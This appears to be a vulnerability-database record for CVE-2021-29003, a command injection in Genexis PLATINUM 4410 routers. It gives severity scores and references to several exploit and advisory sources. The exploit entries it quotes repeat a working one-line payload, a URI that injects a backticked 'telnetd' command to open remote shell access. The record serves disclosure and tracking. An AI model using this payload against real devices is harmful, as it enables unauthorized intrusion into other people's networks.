DATABASE RESOURCES PRICING ABOUT US

{"id": "EDB-ID:49764", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE", "description": "", "published": "2021-04-14T00:00:00", "modified": "2021-04-14T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://www.exploit-db.com/exploits/49764", "reporter": "Jay Sharma", "references": [], "cvelist": ["CVE-2021-29003", "2021-29003"], "immutableFields": [], "lastseen": "2022-01-13T05:29:25", "viewCount": 148, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64"]}, {"type": "cve", "idList": ["CVE-2021-29003"]}, {"type": "githubexploit", "idList": ["22E49E4D-BE28-5B28-95F5-3708CC569AEA"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162174"]}, {"type": "zdt", "idList": ["1337DAY-ID-36106"]}], "rev": 4}, "score": {"value": 4.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64"]}, {"type": "cve", "idList": ["CVE-2020-25004", "CVE-2021-29003"]}, {"type": "githubexploit", "idList": ["22E49E4D-BE28-5B28-95F5-3708CC569AEA"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162174"]}, {"type": "zdt", "idList": ["1337DAY-ID-36106"]}]}, "exploitation": null, "vulnersScore": 4.9}, "sourceHref": "https://www.exploit-db.com/download/49764", "sourceData": "# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE\r\n# Date: 12-4-2021\r\n# Exploit Author: Jay Sharma \r\n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28\r\n# Tested on: V2.1\r\n# CVE : CVE-2021-29003\r\n\r\n#steps to reproduce#\r\n\r\nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI", "osvdbidlist": [], "exploitType": "webapps", "verified": false, "_state": {"dependencies": 1646022579}}

{"zdt": [{"lastseen": "2021-10-19T04:52:02", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-14T00:00:00", "type": "zdt", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-14T00:00:00", "id": "1337DAY-ID-36106", "href": "https://0day.today/exploit/description/36106", "sourceData": "# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE\r\n# Exploit Author: Jay Sharma \r\n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28\r\n# Tested on: V2.1\r\n# CVE : CVE-2021-29003\r\n\r\n#steps to reproduce#\r\n\r\nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI\r\n\n\n# 0day.today [2021-10-19] #", "sourceHref": "https://0day.today/exploit/36106", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-05-04T15:46:36", "description": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T06:15:00", "type": "cve", "title": "CVE-2021-29003", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2022-05-03T16:04:00", "cpe": ["cpe:/o:genexis:platinum_4410_firmware:p4410-v2-1.28"], "id": "CVE-2021-29003", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-29003", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:genexis:platinum_4410_firmware:p4410-v2-1.28:*:*:*:*:*:*:*"]}], "attackerkb": [{"lastseen": "2022-03-09T23:37:16", "description": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "attackerkb", "title": "CVE-2021-29003", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-22T00:00:00", "id": "AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64", "href": "https://attackerkb.com/topics/wGZwZkg3Jn/cve-2021-29003", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-04-14T16:54:39", "description": "", "cvss3": {}, "published": "2021-04-14T00:00:00", "type": "packetstorm", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-14T00:00:00", "id": "PACKETSTORM:162174", "href": "https://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html", "sourceData": "`# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE \n# Date: 12-4-2021 \n# Exploit Author: Jay Sharma \n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 \n# Tested on: V2.1 \n# CVE : CVE-2021-29003 \n \n#steps to reproduce# \n \nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162174/genexisplatinum4410-exec.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "githubexploit": [{"lastseen": "2021-12-10T15:35:48", "description": "# CVE-2021-29003\nhttps://hackerworld.home.b...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-15T06:14:47", "type": "githubexploit", "title": "Exploit for Vulnerability in Genexis Platinum 4410 Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-09-15T06:17:05", "id": "22E49E4D-BE28-5B28-95F5-3708CC569AEA", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}]}